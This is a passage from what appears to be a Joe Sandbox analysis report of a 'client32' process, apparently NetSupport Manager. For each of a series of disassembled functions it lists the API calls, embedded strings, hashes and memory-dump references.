Opcode ID: 49a3d47807c6f92d38608e4a3b8e2f849b62ff86fa01972e32864b9cc0c423b5
Instruction ID: f40c181d7eb29f9f1a68c60cce03c48cde81027a9113fa9449142c78dfeb9332
Opcode Fuzzy Hash: 49a3d47807c6f92d38608e4a3b8e2f849b62ff86fa01972e32864b9cc0c423b5
Instruction Fuzzy Hash: 7B219076A04517ABD7049F78D9C46AAF7A8FB18318F11023AE91DDB204CB35BC558BD1

Function 1104F179 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 69sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11034C90: EnumWindows.USER32(Function_00034A20), ref: 11034CAB
Part of subcall function 11034C90: SetForegroundWindow.USER32(?), ref: 11034CB5
Part of subcall function 11034C90: EnumWindows.USER32(Function_00034A20), ref: 11034CDF
Part of subcall function 11034C90: Sleep.KERNEL32(00000032), ref: 11034CE9

Sleep.KERNEL32(00000032,LegalNoticeText,?,?,LegalNoticeCaption,?,?,80000002,Software\Microsoft\Windows\CurrentVersion\Policies\System,00020019), ref: 1104F191
GetLastError.KERNEL32(00000000,Global\Client32Provider,80000002,Software\Microsoft\Windows\CurrentVersion\Policies\System,00020019), ref: 1104F1DF
Sleep.KERNEL32(00000032,?,?,0000004A,00000000,?), ref: 1104F33D
Sleep.KERNEL32(00000032), ref: 1104F383

Strings

error opening ipc lap %d to logon, e=%d, %s, xrefs: 1104F1E7
Global\Client32Provider, xrefs: 1104F1BB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep$EnumWindows$ErrorForegroundLastWindow
String ID: Global\Client32Provider$error opening ipc lap %d to logon, e=%d, %s
API String ID: 3682529815-1899068400
Opcode ID: c4d977c9ff5073cf5f339a6a763244f2db9b90aa9ebb7fa690a9d42cd1b1b4cf
Instruction ID: 6aab5bd338832a8b6cc9a825996d00e4c24ed17e7d33d91b3ba03cdb4d861036
Opcode Fuzzy Hash: c4d977c9ff5073cf5f339a6a763244f2db9b90aa9ebb7fa690a9d42cd1b1b4cf
Instruction Fuzzy Hash: BC212638D4425ACED715DBA4CD98BECB760EB9630AF2001FDD85A97590EF302A45CB12

Function 11171306 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 11171312

Part of subcall function 1116C675: __getptd_noexit.LIBCMT ref: 1116C678
Part of subcall function 1116C675: __amsg_exit.LIBCMT ref: 1116C685

__getptd.LIBCMT ref: 11171329
__amsg_exit.LIBCMT ref: 11171337
__lock.LIBCMT ref: 11171347
__updatetlocinfoEx_nolock.LIBCMT ref: 1117135B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 35fe5c9bc94bd85c8d3435a182b19743491bdb717c624575e9545a6300ca247a
Instruction ID: 9cb08520484339131e966c5afe67267813abc49f95b778b0e1eea255b6adbda5
Opcode Fuzzy Hash: 35fe5c9bc94bd85c8d3435a182b19743491bdb717c624575e9545a6300ca247a
Instruction Fuzzy Hash: 67F0243AD04322DAE7119BB88801B5CF7A16F0073CF110249D814A77C0CFA47810CB5B

Function 11053280 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

Part of subcall function 11145410: GetSystemMetrics.USER32(0000005E), ref: 1114542A

Part of subcall function 110CC360: GetDlgItem.USER32(00000000,?), ref: 110CC387
Part of subcall function 110CC360: GetWindowRect.USER32(00000000), ref: 110CC38A
Part of subcall function 110CC360: MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 110CC39C
Part of subcall function 110CC360: MapDialogRect.USER32(00000000,?), ref: 110CC3C8
Part of subcall function 110CC360: GetDlgItem.USER32(00000000,?), ref: 110CC401
Part of subcall function 110CC360: SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000010), ref: 110CC41C

Part of subcall function 110183B0: GetSystemMetrics.USER32(0000005E), ref: 110183BF
Part of subcall function 110183B0: GetSystemMetrics.USER32(00002003), ref: 110183DF

std::exception::exception.LIBCMT ref: 11053483
__CxxThrowException@8.LIBCMT ref: 11053498

Strings

IsA(), xrefs: 1105334A, 110533D6
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11053345, 110533D1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ItemMetricsRectSystem$DialogException@8ObjectPointsShowTextThrowstd::exception::exception
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 2181554437-3415836059
Opcode ID: 1accb0bbb03bc77863436f13e3d15f929dc8c171c4ae25107a4f7bd902e08966
Instruction ID: 43705d0265472f43c13063854f38501adaeacc0369148bb5472ef3ca99b46591
Opcode Fuzzy Hash: 1accb0bbb03bc77863436f13e3d15f929dc8c171c4ae25107a4f7bd902e08966
Instruction Fuzzy Hash: 1E519375E00209AFDB45DF94CD81EEEF7B9FF44308F108569E5066B281EB35AA05CB91

Function 11067090 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110670A8
GetTickCount.KERNEL32 ref: 110671F0

Strings

TicklePeriod, xrefs: 110671DA
General, xrefs: 110671DF

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: General$TicklePeriod
API String ID: 536389180-1546705386
Opcode ID: 583a630acb21db53e34cc03cdf69896ea0eaf712d7d07d60b781f99cd72e8e82
Instruction ID: df9d0f281d17993452c850789e07539b87313039e6a264bd0b80c81d914ed6ef
Opcode Fuzzy Hash: 583a630acb21db53e34cc03cdf69896ea0eaf712d7d07d60b781f99cd72e8e82
Instruction Fuzzy Hash: FE516234A00705DFE764CF68C994B9AB7E9FB44300F1085AEE55A8B381EB71BA45CB91

Function 110774D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 11077511
CopyRect.USER32(?,00000004), ref: 1107753F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110774F9
m_hWnd, xrefs: 110774FE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CopyErrorExitLastLongMessageProcessRectWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2755825785-2830328467
Opcode ID: 4f316e2ed6ddaff1f4214695c10b17982f8ef2501de7a4bdebe5d1d49fe5d49c
Instruction ID: 59158522108a3a71f1e5bb0466e943617169e98ae829cc3baa7e2fe2b27ff523
Opcode Fuzzy Hash: 4f316e2ed6ddaff1f4214695c10b17982f8ef2501de7a4bdebe5d1d49fe5d49c
Instruction Fuzzy Hash: 5841C271E00B46DBCB15CF68C9C8B6EB7F1EF44344F10856AD8569B644EBB0E940CB98

Function 110D12E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 110D1378

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

cchLen<=0 || cchLen<=(int) _tcslen(pszStr), xrefs: 110D132F
IsA(), xrefs: 110D12FC, 110D13A3
..\CTL32\NSMString.cpp, xrefs: 110D12F7, 110D132A, 110D139E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: ..\CTL32\NSMString.cpp$IsA()$cchLen<=0 || cchLen<=(int) _tcslen(pszStr)
API String ID: 1528188558-323366856
Opcode ID: 178f97a59f0bec0598d483463499a2975e296ab7c3110b068437bcfd80d62d5f
Instruction ID: ca0f400cc3ae87bce4a96c7d882a21a9a029a19775e55ac1937322abd3584148
Opcode Fuzzy Hash: 178f97a59f0bec0598d483463499a2975e296ab7c3110b068437bcfd80d62d5f
Instruction Fuzzy Hash: 0C212639B007566BDB01CF99EC90F9AF3E5AFD1288F048469E99997701EE31F4058398

Function 1105D500 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?,?,?,1103FE35,?,?,Client,DisableThumbnail,00000000,00000000,Client,DisableWatch,00000000,00000000), ref: 1105D51E
LeaveCriticalSection.KERNEL32(00000000,?,DisableWatch,00000000,00000000,EFF676FC), ref: 1105D59E
SetEvent.KERNEL32(?,?,DisableWatch,00000000,00000000,EFF676FC), ref: 1105D5A8

Strings

Thumbnails: mon=%d, w=%d, h=%d, c=%d, interval=%d, xrefs: 1105D561

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: Thumbnails: mon=%d, w=%d, h=%d, c=%d, interval=%d
API String ID: 3094578987-11999416
Opcode ID: c530e27155f7b3fdc2e9ca538483d963ca7dcdd1017b1d5184d653da29544702
Instruction ID: cd8e2c595cb3ca955c0a05eca4a83294a9fb2b4bfc4f95d4b2967c0930ade923
Opcode Fuzzy Hash: c530e27155f7b3fdc2e9ca538483d963ca7dcdd1017b1d5184d653da29544702
Instruction Fuzzy Hash: 6D2149B4500B65AFD364CF6AC490967FBF4FF88718700891EE5AA82B41E375F850CBA0

Function 11153570 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 111535AC
_memmove.LIBCMT ref: 111535E6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\WCUNPACK.C, xrefs: 111535C1
n > 128, xrefs: 111535C6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\WCUNPACK.C$n > 128
API String ID: 6605023-1396654219
Opcode ID: ec23489f07850d0f282c208d07d7e8fee0db15ceed7262bb29d1eb7273dc92e2
Instruction ID: 7dc9b17917a05d0a1a20c6fa4ac0eb705d74e08118df21bf74e35568faeb592c
Opcode Fuzzy Hash: ec23489f07850d0f282c208d07d7e8fee0db15ceed7262bb29d1eb7273dc92e2
Instruction Fuzzy Hash: 0A1125B6C3916577C3818E6A9D85A9BFB68BB4236CF048115FCB817241E771A614C7E0

Function 110395A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(00000000,00000001), ref: 110395E6
EnableWindow.USER32(00000000,00000000), ref: 110395EE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 110395CE
m_hWnd, xrefs: 110395D3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableErrorExitItemLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1136984157-1986719024
Opcode ID: 9301bb4a703dc9f718e6a03bc63426bc399485c21c7871a03d02741ec2ccad78
Instruction ID: 55b3f6273447a840922a2276b3415970a39c2bc3f54fc53508d86eb1e8118ba0
Opcode Fuzzy Hash: 9301bb4a703dc9f718e6a03bc63426bc399485c21c7871a03d02741ec2ccad78
Instruction Fuzzy Hash: C3F0C876640219BFD710CE55DCC6F9BB39CEB88754F108425F61597280D6B1E84087A4

Function 11015400 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001009,00000000,00000000), ref: 110AB01D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_hWnd, xrefs: 11015413, 110AB003
..\ctl32\listview.cpp, xrefs: 110AAFFE
..\ctl32\liststat.cpp, xrefs: 1101540E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: ..\ctl32\liststat.cpp$..\ctl32\listview.cpp$m_hWnd
API String ID: 819365019-2727927828
Opcode ID: c3e408aabb13ed10315d2f66f65a18e8b557ea6d9dc316695097963d23eb025b
Instruction ID: c68bebcfb275c132091ba8ffe4505af5196cb7164de974b36e44453814cc3cc0
Opcode Fuzzy Hash: c3e408aabb13ed10315d2f66f65a18e8b557ea6d9dc316695097963d23eb025b
Instruction Fuzzy Hash: 4DF02B34FC0720AFD720D581EC42FCAB3D4AB05709F004469F5562A2D1E5B0B8C0C7D1

Function 110ED470 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110ED498

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsWindow(hRich), xrefs: 110ED4A9
..\CTL32\NSWin32.cpp, xrefs: 110ED47E, 110ED4A4
lpNmHdr!=0, xrefs: 110ED483

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
